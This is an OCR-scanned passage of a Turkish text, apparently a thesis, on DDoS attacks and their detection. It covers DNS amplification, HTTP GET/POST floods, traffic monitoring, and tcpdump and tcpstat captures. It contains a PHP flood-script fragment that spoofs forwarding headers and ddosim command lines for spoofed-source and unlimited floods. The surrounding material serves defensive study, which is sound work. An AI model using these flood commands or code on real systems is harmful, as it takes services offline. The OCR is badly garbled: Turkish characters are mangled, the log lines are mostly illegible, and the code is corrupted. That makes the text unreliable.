tcp 6 41294 ESTABLISHED src=192.168.1.34 dst=172.16.2.23 sport=1054
dport=21

wsrc=172.16.2.23 dst=192.168.1.34 sport=21 dport=1054 [ASSURED]

use=1

Stateful’'un bir diger Ozelligi ise incelenen paketlerin sadece network

katmaninda kalmayip daha {ist katmanlara kadar incelenebilmesidir. [1]
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2.4 Uygulama Hedefli Saldirilar

Belirli uygulamalar1 hedef alarak yapilan saldir1 ¢esididir. Ornek olarak http
servislerine yonelik yapilan GET ve POST istekleri, DNS servislerine yapilan isim

sorgular1 gibi isteklerdir. Bu saldirilar OSI 6. ve 7.katmanlardadir.

OSI 3.katman saldirilarindan farkli olarak bu saldir1 ¢esidinin tespiti oldukga

zordur. Clinkii kotii amagli istekleri normal isteklerden ayirt etmek olduke¢a zordur.

Ornek olarak diinya ¢apinda yayin yapan bir web sitesine her yerden istekler
gelebildigi ( ip spoof goz ardi edilirse ) i¢in iilke bazinda ip adres kisitlamasi

yapilamamaktadir.

2.4.1 DNS Amplification Saldirilar

DNS servislerine yonelik yapilan saldirilar saldirt mantigi yoniiyle smurf
saldirilarina benzerler. Aynen smurf saldirilarinda oldugu gibi burda da saldirdan
sahte ip adresleri ( spoofed ip ) ile DNS sunucularina ¢ok sayida istek gonderir.
Hedef DNS sunucusu aldigi DNS istekerine cevap doner. Gonderilen bu istekler
kiigiik paketler halinde ( 60 byte ) seviyesinde ANY ( sorgu yapilan adrese iliskin
tiim kayztlar ) olarak istenir. Boylece sunucunun vermek zorunda oldugu cevap istek

paketinin 4-5 kat1 biiyiikliiglinde olur.[19] , [8]

ITIONAL: ©

IN

IN

IN

IN

IN

IN y .

IN fl a: g turkiye.gov.tr a:mailg
IN . 3.3

/tes| from 192.168.118.2#53 in 157 ms

Sekil 15: Bir adrese dns sorugusu yapilmasi.

Bu sekilde binlerce kaynaktan yapilan sorugular hedef sunucu tarafindan
yanitlanacagi icin trafik artacak ve sunucu bir siire sonra cevap veremez duruma

gelecektir.
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DNS Amplification Attack Saldiri Organizasyonu

Zararl / Yonlendirilen Makineler ( Host )

3 HAAR

Saldirgan E]

5 &R & —L .am
HEN oS

Hedef Sunucu Tekrarlayici Sunucular ~ Root DNS Sunuculari

|
]

AAAA

Sekil 16 : DNS Amplification saldir1 semast.
Bir DNS Amplification saldirisinin adimlar1 su sekildedir;[4]

1- Saldirgan kontrol ettigi makineleri veya bulut sistemlerini yonlendirir,

2- Etki altindaki makineler hedef.com i¢in DNS sunucusuna bir sorguyu hedef
sunucu ip adresini kaynak gostererek ( spoof ip ) gonderir ( 50 byte )

3- Tekrarlayici sunucular DNS sorgusunda bulunur,

4- DNS sunucusu gelen istege cevap doner ( 500 byte ),

5- Tekrarlayict sunucular DNS sunucudan aldig1 cevabi hafizasinda tutar ve

hedef DNS sunucuya gonderir( 500 byte ).

Bu sckilde 1000 adet istek ; 1000*500 byte = 047 MB
100000*500 byte = 47 MB olarak hat tiiketimine sebep olur. [4]

2.4.2 HTTP GET/POST Saldirilan

Bu saldirn ¢esidinde hedef uygulama sunucusunun {izerinde c¢alistirdigi
uygulamalarin zaafiyetleri hedef alinarak, sunucunun hem uygulama hemde ram,

cpu gibi uygulama harici 6zelliklerin tiikketilmesidir.[14]

HTTP flood saldirilar1 Layer7 de ¢alisan GET/POST istekleri kullanilarak

(volumetric attack ) yapilir.
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Layer 7 saldirilar1 asagidaki gibi 6zetleyebiliriz.

- HTTP get flood ( http get istegi )

- HTTP bandwidh consumption ( http kullanilarak hat tiiketimi )
- DNS query flood ( DNS istek saldirisi )

- SIP INVITE flood ( Ses uygulamalarina yonelik saldirilar )

Asagidaki gorselde goriildiigli gibi hedef sunucuya yapilan ¢ok fazla “get”
istegi vardir. Bu standart olarak kiiciik paket talepleri olabilecegi gibi, http

uygulamasinda bulunan bir dosya vb gibi ek’in talep edilmesi de olabilmektedir.

*@3

. .
»

&
»&
A

Normal
istemci

Sekil 17 : Zombi bilgisayarlarin yaptigt HTTP GET istekleri.
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Asagida bir web sitesine yapilmig bir istek goriilmektedir. Gelen cevapta

siteye baglanma ve download hiz1 goriilmektedir.

Sekil 18 : Bir siteye yapilan GET istegi ve ortalama hizi.
Ayni1 sekilde yapilan bir get isteginin log ¢iktisi asagidaki gibi

26 0.606367 213.153.205.182 199.148.145.6 HTTP  HTTP/1.1 200 OK (text/html)
32 0.804373 162.216.154.125 213.153.205.182 HTTP  GET / HTTP/1.0
33 0.809453 213.153.205.182 162.216.154.125 HTTP  HTTP/1.1 200 oK (text/html)
39 1.004762 205.182.177.239 213.153.205.182 HTTP  GET / HTTP/1.0
40 1.007915 213.153.205.182 205.182.177.239 HTTP  HTTP/1.1 200 OK (text/html)

46 1.204983 164.192.24.244 213.153.205.182 HTTP  GET / HTTP/1.0
47 1.207573 213.153.205.182 164.192.24.244 HTTP  HTTP/1.1 200 OK (text/html)
53 1.406715 39.163.133.234 213.153.205.182 HTTP  GET / HTTP/1.0
55 1.408858 213.153.205.182 39.163.133.234 HTTP  HTTP/1.1 200 oK (text/html)

Sekil 19: GET isteginin wireshark ¢iktisi.

Get istegi yapilan bir sunucuda ( 6rnek bir web sunucusu ) asagidaki gibi

loglar goriinecektir.
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239100 - — [ Harf3014:14:10:22 +0100] "GET hitp://ads.gastéi,sam/12976 HTTE/1.0"™ 500 1153 "http://www
198.12. 11 09F - - i EEIF2014:14:10:23 +0100] "GET http:/flleddlini. oo 7id= = LBUS i
66. Rl [E Empf3014:14:10:25 +0100] "GET /maven?/mry | mpn s maveanuLefJ_J.ef’.jureE_l'e junit/2.4.2/ H
23 [2afn 114:14:10:26 +0100] “GET hittp://ik. SlCEE. Bt t" 25 : ¥
198. 3. 101 4% — - [JR7E&EE'2014:14:10:26 +0100] "GET http: /il Skl i : $ .

23 - [2& 4014:14:10:32 +0100] "GET htto://ij,#iss-mamdtt?i 4 = P

23.F — [2utn 114:14:10:34 +0100] "GET http:// il sl ol L8 Tt21d=22087590&ch=[CACHEBUSTER] traferre
184 — — (14 Emr2014:14:10:35 +0100] "GET http:/Jib sdmse, pon/t£2id=22085048ch=[CACHRERUSTER J&rafer
66. pdn. di — = [ Pl/ar i 014:14:10:36 H0100] "GET /maven?/mTQiasea s imaven/ixr/ixr/2.2/ HTTR/1.1" 500 1084
23,3 {11 s JAiE F2014:14:10:40 +0100] "GET http:/Jlleasdess e/ tt21d=22408085sch=[CACHRRUSTER | &rafer
23. 1 (& — [ZhfmaeiDl14:14:10:42 +0100] "GET http://ik.sdamn. pomytt?id=2287550ach=[CACHEBUSTER] trefoarre
23:10 ! - [2arm 114:14:10:44 +0100] "GET http://iL AL Sn L B +t+?id=2249973ach=[CACHEBUSTER] téreferre
198. 0. 300240 — — [J97Em(2014:14:10:44 +0100] "GET http:/Jj seimen, ft"":l_d.__224_9__9_'13&cb [CACHEBUSTER]arefer
23. ] - - drEsT2014:14:10:49 +0100] "GET hittp:/flbcdl S 7id=2245481 sch=[CACHEBUSTER] srafexr
221, A0 W. L13.388 — — |B4Mdi/2014:14:10:51 +0100] "GET hittp:di 1u_i_adgnt com/t?2id=92527det-0d469-4d59-af%e
1228 - — [ZE"SamiT014:14:10:59 +0100] “GET hitp://adm.J m/st?ad type=iframegad size=300x250&sec]
23.E - b - [2&'m 014:14:11:03 +0100] "GET h_t,g.zfi:l.]. PR ST E r.t?:.s:l 22815_9;0_&_Gb_LC££ZHEELLlS_.ERL&I_Ef_ELI_e_
23. B dM 030 - - (19 Esr2014:14:11:04 +0100] "GET hitp:/lik.sdsmn.

23. L - [2AfR 114:14:11:04 +0100] "GET http://il . gira s  ormstt 7]

23. B0 1 H 13K JATE&E2014:14:11:05 +0100] "GET http:/ /il SdEEE. &

222,18 9 - - |&iHar/2014:14:11:06 +0100] "GET http:/{ssis s 2 -

23. K [ b | - [2ntw 114:14:11:09 +0100] "GET httuo://ik, n--..-.@@MZMﬂ&QLWMM
23 adli il 13k — — [I4FEme'2014:14:11:10 +0100] "GET hLT;p,.{',- P st? = ajze=

184 il == i BEDf2014:14:11:10 +0100] “"GET http:/{ilcdilmui. ‘_°na"r.".?'jd=?.20ﬂﬁO4&nb=ICA(‘HF.BU‘%TF.R'I&refpr
l1e8. A dLLLI4F — - JiEEE2014:14:11:12 +0100] "GET http:/ilk Aid aadn /TE21d=22458886ch=[CACHERUSTER ] srafer
198 J i — — (e e [2014:14:11:13 40100] "GET http:/Jibstdmmn, s/ tt?2id=2246973scb=[CACHERUSTER | srafer
198, 10, 001 06 — — [09imerf2014:14:11:18 +0100] “"GET http:/ 0L Sduss . Lom/tt2i1d=2249921sch=[CACHERUSTER | srafer
T2 K.l — [28 82w ID14:14:11:18 +0100] "GET http://adm.pal m/st?ad type=iframesad size=728x%0&ssct
23 1 - - WrmeEr2014:14:11:19 +0100] “"GET hitp:/ el @elsc.oon/st?ad type=iframesad size=300x250&s
23. %] AT - [Znrm 1014:14:11:20 +0100] "GET http://il.sd ol cca tt?31d=2387580&ch= [CACHEBUSTER] txeferre
23, ] B - - jldiEsrf2014:14:11:24 +0100] "GET hitp://msm,ys om/st?ad type=iframedad size=300x250&s
23. AR08 128 - — LIBT2014:14:11:24 +0100] "GET hitp:/ Ll Sl Lo/ tE7id=224992] 4che [CACHERUSTER | &refer)
198 A ALT. 0N — — [J9/Ese2014:14:11:24 +0100] "GET hitp:/liisdismE.5 2id= =

Sekil 20 : Web sunucu GET log’lar1.

Saldir1 altinda olan bir sitenin cevap vermesi ¢ok uzun siirecektir, cevap

verme sliresi saniye bazinda olacaktir.[7]

Backdoor sitelerin yaptiklart http GET/POST istek 6rnegi asagidaki gibidir.

for($i = 0;8i < Snum;$i++){
$fp = fsockopen("tis://".Sparts['host], 443);
stream_set_timeout($fp, 300);
fwrite($fp, http_req()):
stream_set_blocking($fp, 0);
$target_sockets[] = $fp;

function http_req(){
$rand = md5(microtime().rand(0,500));
$host = $parts['host];
$path = $parts['path;
return "POST $path HTTP/1.1\r\n" . "Host: $host\rin” . "User-Agent: ".$ua[rand(0,count($ua)-1)]."\r\n"
. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" . "Accept-Language: en-us,en;q=0.5\r\n"
. "Accept-Encoding: gzip, deflate\r\n" . "Accept-Charset: ISO-8859-1,utf-8;9=0.7,*,q=0.7\r\n"
. "Connection: Keep-Alive\r\n" . "Cache-Control: no-cache\nn” . "Referer: ".$referer."\r\n"
. "Cookie: ".getcookie()."\r\n" . "X-FORWARDED-FOR: ".ipgen()."\r\n" . "Via: ".ipgen()."\r\n"
MCLIENT-IP: "ipgen()."\An" . "Content-Type: application/x-www-form-urlencoded\r\n"
. "Content-Length: " . strlen($postdata) . "\r\n\r\n"

HTTP get isteklerini simulasyon ortaminda olusturmak i¢in kullanilan

“ddosim” uygulamasinin 6rnegi asagidaki gibidir.
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- 100 adet isteginin rastgele olusturulacak ip adreslerinden gonderme;

./ddosim -d 192.168.1.2 -p 80 -c 100 -r HTTP_ INVALID -i

ethO

- Web sunuya yiiksek hizda ( time degeri ile ) sinirsiz istek olusturma;

./ddosim -d 192.168.1.2 -p 80 -¢c 0 -w O -t 10 -r HTTP_VALID -i
etho

- Kaynagi x.x.x.x ip adresi gosterereck SMTP portuna EHLO istegi
gondermek;

./ddosim -d 192.168.1.2 -p 25 -k x.x.x.x —-c 0 r SMTP EHLO

-i ethO

e Slowloris Uygulmasi ;

Slowloris uygulamasi 2009 yilinda ficretsiz olarak hizmete sunulmustur.
Uygulama “time-delayed” http basliklar1 ile oynama yapar ( web sunucunun gelen

istekleri belirli bir siire tutmasi, bu siire icerisinde siirekli yeni paketlerin gelmesi )

Bircok yiik dengeleyici teknolojileri “mod antiloris” 6zelligini icermektedir.
Bunun yani sira “Anti-DDOS” http get ataklarina karst tcp splicing ozelliginde

olmalidirlar.[6]

2.5 DDOS Saldirilarinin Tespiti

- Saldir tiiriiniin tespiti,
- Saldiriin nereden yapildig,
- Saldirinin nereyi hedef aldigi,

DDOS saldirilarda uygulanmasi gereken adimlar asagidaki gibi 6zetlenebilir,
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2.5.1 Sistem Anormalliklerinin Tespiti ve Saldir1 Tiiriiniin
Belirlenmesi
Ag ve sistemlerin durumlarin1 izleyecek bir¢ok yazilim ve dananim
mevcuttur. Bu uygulama ve yazilimlar temelde ayn1 mantikta ¢alismaktadirlar.
Genellikle ag trafiginin bir kopyasinin analiz uygulamasina yonlendirilmesi veya

snmp protolii kullanilarak izleme yapilmaktadir.

Izleme sistemlerine bir esik degeri belitlenir ve bu degerin asilmasi anormallik

isaretidir.

pps/bps

26h

Sekil 21: Trafigin esik degerini asmasi
2.5.2 Saldirinin izlenmesi ve Analizinin Yapilmasi

- Saldir tiiriiniin tespiti,
- Saldirinin nereden yapildigi,
- Saldiriin nereyi hedef aldigi,
- Daha 6nceden hazirlanmis savunma plani.

Saldir1 altinda olan bir sistemde ilk yapilacak tespit saldirinin hangi
segmetlere yapildigidir. Mevcut sistem birden fazla servise hizmet veriyor

olabileceginden saldirinin ilk asamadaki tespiti cok dnemlidir.
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Sekil 22 : Saldir tiiriiniin, izleme uygulamasi ile tiirliniin tespiti.

2.5.3 Saldin Tiiriine Gore Yapilacaklar

TCP DDoS '

DDOS saldirilarinda ISP network’iinde, DDOS oOnleme sistemlerinde,

network izleme gibi yerlerden alinacak uyarilar saldirinin tirii ve siddeti igin

oldukca 6nemli bilgiler verecektir.

DDOS saldirilar1 ilk asamada network anormalligi olarak tespit edilir.

Normalin disinda olusan bir trafigi asagidaki 6rnegi gibidir.
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B Received: Current: 211.37 m Ayferage 249.93 m Maximum: 964.32 m Total:

0 Sent: Current: 33.15 » verage 56.73 m Maximum: 263.12 m Total:

@ Delivered: Current: 267.85 m/Average: 338.70 m Maximum: 1.16 Total:

2]
44
24

Trafik anormalliginin artti dilimler

Sekil 23 : “Cacti” uygulamasinin DDOS trafiginin tespiti.

Saldirilarda izlenen veya kaydedilen bilgilerin sadece protokol vaya

port bazli yorumlanmasi analiz eksikligine yol acacaktir. Saldirinin ¢esidine
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gore zaafiyet kullanan paketleri ( payload ), uygulamalarin sebep oldugu
aciklilart tepit edebilmek icin tiim trafigin izlenip degerlendirme yapilmasi

gerekmektedir.

Asagida birbirinden farkli ¢esitte olan saldirilarin dump c¢iktilar

goriilmektedir.

Ornek 1: TCP kaynak paketleri kullanilarak yapilan bir saldiri.
Saldir1  esnasinda almman dump c¢iktilar1 incelendiginde TCP
isteklerinin en {ist sevidede oldugu goriilmektedir. Bu sekilde saldiriin SYN

FLOOD saldiris1 oldugu anlasilmaktadir.
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DumpFile: tcpdos2.pcap
FileSize: 7.86MB
Id: 201408060439
StartTime: Wed Aug 6 04:39:17 2014
EndTime: Wed Aug 6 04:39:39 2014
TotalTime: 21.65 seconds
TotalCapSize: 6.14MB CapLen: 1514 bytes
# of packets: 112482 (6.14MB)
AvgRate: 2.58Mbps stddev:1.33M PeakRate: 4.28Mbps
### IP flow (unique src/dst pair) Information ###
# of flows: 112402 (avg. 1.00 pkts/flow)
Top 10 big flow size (bytes/total in %):
0.3% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0%

### IP address Information ###
# of IPv4 addresses: 88072
Top 10 bandwidth usage (bytes/total in %):

99.7% 0.3% 0.3% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0%
### Packet Size Distribution (including MAC headers) ###
<<<<

[ 32- 63] : 112452

[ 64- 127]: 2

[ 128- 255]: 3

[ 256- 511]: 13

[ 512- 1023]: 7

[ 1024- 2047]: 5
>>>>
### Protocol Breakdown ###
<<

protocol packets bytes bytes/pkt

[0] total 112482 (100.00%) 6441995 (100.00%) 57.27
[1] ip 112480 (100.00%) 6441893 (100.00%) 57.27
[2] tcp 112480 (100.00%) 6441893 (100.00%) 57.27
[3] ftpdata 2 ( 0.00%) 108 ( 0.00%) 54.00
[3] ftp 2 ( 0.00%) 108 ( 0.00%) 54.00
[3] ssh 2 ( 0.00%) 114 ( 0.00%) 57.00
[3] telnet 2 ( 0.00%) 114 ( 0.00%8) 57.00
[3] smtp 2 ( 0.00%) 114 ( 0.00%) 57.00
[3] name 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] dns 3 ( 0.00%) 168 ( 0.00%) 56.00
[3] http(s) 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] kerb5 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] pop3 1 ( 0.00%) 54 ( 0.00%) 54.00
[3] sunrpc 1 ( 0.00%) 54 ( 0.00%) 54.00
[3] ident 1 ( 0.00%) 54 ( 0.00%) 54.00
[3] nntp 3 ( 0.00%) 168 ( 0.00%) 56.00
[3] ntp 3 ( 0.00%) 168 ( 0.00%) 56.00
[3] bgp 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] rlogin 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] rtsp 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] ldaps 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] socks 2 ( 0.00%) 114 ( 0.00%) 57.00
[3] kasaa 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] scribe 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] squid 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] ms-gc 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] ms-gcs 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] mysql 2 ( 0.00%) 114 ( 0.00%8) 57.00
[3] hotline 5 ( 0.00%) 282 ( 0.00%) 56.40
[3] realaud 2 ( 0.00%) 114 ( 0.00%) 57.00
[3] icecast 2 ( 0.00%) 114 ( 0.00%) 57.00
[3] gnu6346 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] irc6666 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] irc6667 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] irc6668 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] irc6669 4 ( 0.00%) 228 ( 0.00%) 57.00
[3] napster 3 ( 0.00%) 168 ( 0.00%) 56.00
[3] irc7000 3 ( 0.00%) 174 ( 0.00%) 58.00
[3] http-a 71 ( 0.06%) 20729 ( 0.32%) 291.96
[3] http-ts 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] memcach 4 ( 0.00%) 222 ( 0.00%) 55.50
[3] kestrel 4 ( 0.00%) 228 ( 0.00%) 57.00
[3] other 112324 ( 99.86%) 6416292 ( 99.60%) 57.12
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Ornek 2 : UDP paketleri kullanilarak yapilan bir saldir1.

Asagidaki ¢ikti’da goriildigi gibi saldin UDP  tabanli oldugu

anlagilmaktadir.

DumpFile: udpdos.pcap

FileSize: 7.81MB

Id: 201408060741

StartTime: Wed Aug 6 07:41:11 2014

EndTime: Wed Aug 6 07:41:42 2014

TotalTime: 31.73 seconds

TotalCapSize: 6.27MB CapLen: 1514 bytes

# of packets: 101315 (6.27MB)

AvgRate: 1.75Mbps stddev:0.91M  PeakRate: 4.01Mbps

### IP flow (unique src/dst pair) Information ###

# of flows: 101221 (avg. 1.00 pkts/flow)

Top 10 big flow size (bytes/total in %):

0.4% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0% 0.0%

### IP address Information ###

# of IPv4 addresses: 91558

Top 10 bandwidth usage (bytes/total in %):

99.6% 0.4% 0.4% 0.0% 0.0% 0.0% 0.0% 0.0%8 0.0% 0.0%
### Packet Size Distribution (including MAC headers) ###

<<

[ 32- 63]: 54592
[ 64- 127]: 46687
[ 128- 255]: 6
[ 256- 511]: 10
[ 512- 1023]: 9
[ 1024- 2047]: 11
>>>>

### Protocol Breakdown ###

<LKLL
protocol packets bytes bytes/pkt

[0] total 101315 (100.00%) 6569545 (100.00%) 64.84
[1] ip 101308 ( 99.99%) 6568795 ( 99.99%) 64.84
[2] tcp 79 ( 0.08%) 28183 ( 0.43%) 356.75
[3] http-a 79 ( 0.08%) 28183 ( 0.43%) 356.75
[2] wudp 54545 ( 53.84%) 3272732 ( 49.82%) 60.00
[3] name 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] kerb5 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] ntp 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] epmap 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] netb-ns 2 ( 0.00%) 152 ( 0.00%) 76.00
[3] netb-se 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] rip 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] kazaa 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] realaud 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] halflif 5 ( 0.00%) 300 ( 0.00%) 60.00
[3] everque 3 ( 0.00%) 180 ( 0.00%) 60.00
[3] unreal 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] quake 1 ( 0.00%) 60 ( 0.00%) 60.00
[3] cuseeme 2 ( 0.00%) 120 ( 0.00%) 60.00
[3] other 54523 ( 53.82%) 3271380 ( 49.80%) 60.00
[2] icmp 46684 ( 46.08%) 3267880 ( 49.74%) 70.00
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Grafik arayiizii bir uygulamada saldir1 ¢esidi, hedef alinan port ve protokoller

daha ayritili gortinmektedir.

..........

Sekil 24 : Grafik araylizlii bir izleme uygulama goriintiisii

2.6 DNS Servislerine Yonelik DDOS Saldirilarin1 Tespit Etmek

DNS servislerine yonelik saldirilart tespit etmek igin bir¢ok yontem

mevcuttur. Ik temel veri DNS sunucusunun ulagilamiyor, sorgulara cevap

veremiyor olmasidir.

fale)

kocaslan.com @

s coudld be reached

Sekil 25 : Bir alan adinin sorgulanmasi.

Saldir1 altindaki DNS sunucuda alinacak tcpdump log ¢iktisinda asagidaki
gibi paketler goriinecektir.
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root@mdkkali:~# tcpdump -i eth® -tn wdp port 53 -v

tcpdump: listening on eth®, link-type N1@8MB (Ethernet), capture size 65535 bytes

IP (tos @x@, ttl 64, id 5558, offset 8, flags [none], proto UDP (17), length 65)
85.255.65.174.55674 » 192.168.10.41.53: 37837+ A? www.kocaslan.com. (37)

IP (tos @xB, ttl 119, id 5558, offset 8, flags [none], proto UDP (17), length 65)
192.168.10.41.53 > 85.255.65.174.55674: 37837%| e/a/0 (37)

IP (tos @xB, ttl 64, id 5559, offset 8, flags [none], proto UDP (17), length 65)
85.255.65.174.44478 » 192.168.18.41.53: 29161+ A? www.kocaslan.com. (37)

Sekil 26 : Dns sunucula yapilan sorgularin dump ¢iktilari.

Bunlarin yanisira ger¢ek bir saldiriyr anlamak i¢in [ Intrusion Detection
System (IDS) ve Intrusion Prevention System (IDS) ] Saldir1 Tespit-Engelleme
Sistemleri ( IPS ) ile cesitli trafik izleme yazilimlari kullanilmaktadir. Bu
ugulamalarin filtreleme 06zelligi sayesinde DNS sorgularma ait detayli gorsel

bilgiler alinabilir.

DNS gueries B

L e I I O O I N i
200 i R ga 5‘ 417
e it i
18:00 Q0200 06:00 12:00 18:00 Q0200 06:00 12:00
B A queries/sec Current: 139.52 Min: 83.88 Average: 133.44 Max: 376.31
B PTR queries/sec Current: 5.86 Min: 3.24* Average: 6.08 Max: 11.05
B aNY queries/sec Current: 2.02 Min: 972.23m Average: 1.63 Max: 3.51
B MY queries/sec Current: 11.81 Min: 5.98 Average: 7.97 Max: 42.41
B NS queries/sec Current: 1.02 Min: 509.47m Average: 989.40m Max: 1.59
B CNAME queries/sec Current: 83.56m Min: 43.78m Average: 233.98m Max: 918.58m
E s0A queries/sec Current: 233.36m Min: 120.24dm Average: 215.11m Max: 2.37
B SRY queries/sec Current: 0.00 Min: 0.00 Average: 0.00 Max: 0.00
B anAA queries/sec Current: 7.53 Min: 5.33 Average: 7.40 Max: 13.71
B TOTAL queries/sec Current: 173.76 Min: 107.69 Average: 163.77 Max: 404.92

Fri Jan 31 14:02:05 2003

Sekil 27 : DNS sorugulmalarinin siniflandirilarak izlenmesi.

Sekil 27°te goriildiigii gibi bir izleme uygulmasi ile ( monitoring ) DNS sunucuya
gelen, A, PTR, ANY, MX vb sorgular siniflandirilabilmektedir.
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2.7 ISP Omurgalarindan DDOS Saldirilarini Tespit Etmek

DDOS saldirilarin tespit etmekte ISP’lerin yorumlart ¢ok dnemlidir. Biiyiik
network omurga sistemleri, hat izleme sistemleri ile ISP’ler trafigi yorumlamada

daha etkinlerdir.

Yeni gelisen saldir1 teknikleri icin URPF ( Unicast Reverse Path
Forwarding), rate limiting gibi Ozelliklerle trafik hakkinda daha saglikli yorum
yapabilmektedirler.

Saldiri/trafik kaynagindan hedefe kadar genis bir ISP omurgasindan gegecegi
i¢in, 6rnegin bir hedefe dogru yapilan sorgular sadece bir yerden geliyorsa, yapilan
isteklerin kaynak ip adresleri yanlis yollardan ( route ) olusuyorsa, hedefe dogru
yapilan istekler ayni ip adresinden tekraralanmiyorsa vb. bu verilerin analiz

edilmesi DDOS saldirisinin tespit ve analiz edilmesini kolaylastiracaktir.
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Sekil 28 : ISP omurgasinda trafigin izlenmesi ( kaynak : cisco.com ) [29]

Yukaridaki sekilde farkli AS’ler ile baglantilar1 gosterilen bir ISP semasi
goriilmektedir. Bu semada network bazinda yapilan ( bandwidth-level vb ) saldilar

hizlica tespit edilip 6nlenebilmektedir.

Gerek ISP omurgasinda, gerekse diger "AS” ve alt aglara acilan router’lerde
yapilacak trafik gozlemleri, alt aglarda yapilacak gozlem ve onlemlere gore daha

saglikli sonuglar verecektir.

Herhangi bir alt ag’a dogru olusabilecek beklenmeyen bir trafik, daha dnceki
trafik verileri ile karsilagtirllmasit ve kaynak ip adresi sorgulama yontemleri ile

yorum yapilabilir.

2.8 Saldirinin Siddetini Tespit Etme

DDOS saldirilaris1 esnasinda yapilmasi gereken en Onemli tespitlerden

biriside saldirininin siddetini tespit etmektir.
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Asagida ornek olarak saldir1 ensasinda alinan anlik log kayitlarinin “tcpstat”
uygulamasi ile elde edilen ¢iktilar mevcuttur. ( 6rnek olmasi agisindan kisa siireli

veriler ile ¢alisilmistir )

Ornekte standart bir ag trafigi mevcutken ( ortalama 0,5-1 mb ) saldir

esnasinda trafigin giderek arttig1 ( 14 mb ) gézlemlenmistir. [19]

tcpstat -i eth3

Time:1407336577 n=56 avg=310.89 stddev=401.01 bps=27856.00
Time:1407336582 n=26 avg=304.50 stddev=406.25 bps=12667.20
Time:1407336587 n=80 avg=347.59 stddev=427.53 bps=44491.20
Time:1407336592 n=52 avg=347.35 stddev=453.79 bps=28899.20
Time:1407336597 n=60 avg=309.43 stddev=412.75 bps=29705.60
Time:1407336602 n=52 avg=289.96 stddev=389.04 bps=24124.80
Time:1407336607 n=96 avg=340.96 stddev=445.83 bps=52371.20
Time:1407336612 n=56 avg=298.38 stddev=412.58 bps=26734.40
Time:1407336617 n=50 avg=346.74 stddev=412.27 bps=27739.20
Time:1407336622 n=46 avg=367.13 stddev=479.61 bps=27020.80
Time:1407336627 n=44 avg=266.45 stddev=323.01 bps=18758.40
Time:1407336632 n=146 avg=327.71 stddev=399.74 bps=76552.00
Time:1407336637 n=24 avg=277.62 stddev=296.86 bps=10660.80
Time:1407336642 n=64 avg=347.75 stddev=475.32 bps=35609.60
Time:1407336647 n=104 avg=375.62 stddev=466.19 bps=62502.40
Time:1407336652 n=38 avg=320.89 stddev=399.28 bps=19510.40
Time:1407336657 n=46 avg=312.48 stddev=409.87 bps=22998.40
Time:1407336662 n=54 avg=325.44 stddev=388.02 bps=28118.40
Time:1407336667 n=52 avg=268.04 stddev=362.86 bps=22300.80
Time:1407336672 n=56 avg=266.11 stddev=414.59 bps=23843.20
Time:1407336677 n=107 avg=329.58 stddev=456.55 bps=56424.00
Time:1407336682 n=79 avg=387.48 stddev=476.95 bps=48977.60
Time:1407336687 n=48 avg=258.88 stddev=372.11 bps=19881.60
Time:1407336692 n=139 avg=378.40 stddev=500.35 bps=84155.20
Time:1407336697 n=88386 avg=43.29 stddev=12.57 bps=6122100.80
Time:1407336702 n=214989 avg=43.29 stddev=11.53 bps=14891659.20
Time:1407336707 n=234368 avg=43.32 stddev=9.90 bps=16246228.80
Time:1407336712 n=229124 avg=43.30 stddev=11.41 bps=15872537.60
Time:1407336717 n=233070 avg=43.30 stddev=11.10 bps=16147729.60
Time:1407336722 n=233462 avg=43.22 stddev=8.33 bps=16144505.60
Time:1407336727 n=211188 avg=43.31 stddev=10.04 bps=14635854.40
Time:1407336732 n=213231 avg=43.23 stddev=9.53 bps=14747932.80
Time:1407336737 n=203204 avg=43.20 stddev=7.51 bps=14045536.00
Time:1407336742 n=217338 avg=43.23 stddev=9.28 bps=15032212.80
Time:1407336747 n=222432 avg=43.24 stddev=8.35 bps=15386982.40

Grafik arayliziine sahip farkli uygulamalar kullanilarak daha gorsel ve
yorumlanmasi kolay bilgiler elde edilebilmektedir. Bu bilgiler arasinda, hat
yogunluk durumu, zamana gore yayilmis grafikler, istatistiksel degerler, cografi

olarak siiflandirilmis kaynak ip adresleri gibi ¢ok cesitli bilgiler bulunmkatadir.

Asagida farkli iki yazilimdan alinmig goérseller mevcuttur.
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Avg CPU Utilization (Percent)

Avg Disk Reads (Bytes)
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Czach Repudlic 3(2%) Chrome 2(1%)
Other 2(1%)
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Sekil 29 : Grafik arayiiziine sahip uygulamalar ile saldir1 ve tafigin izlenmesi.
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2.9 DDOS SALDIRILARI iCiN KULLANILAN ARACLAR
Bu boliimde DDOS saldirilar i¢in kullanilan en popiiler ve iicretsiz olarak
sunulan araglardan bahsedilmistir. Bu ara¢larin bazilar1 network katmanina bazilari

ise uygulama katmanina yonelik saldir1 yapmaktadir.

Bu araclar1 kullanarak yapilacak saldirilara karst gelistirilmis olan
IPS/Firewall komutlar1 yazilmistir. Ozellikle http saldirilarinda bu araclarin sahip
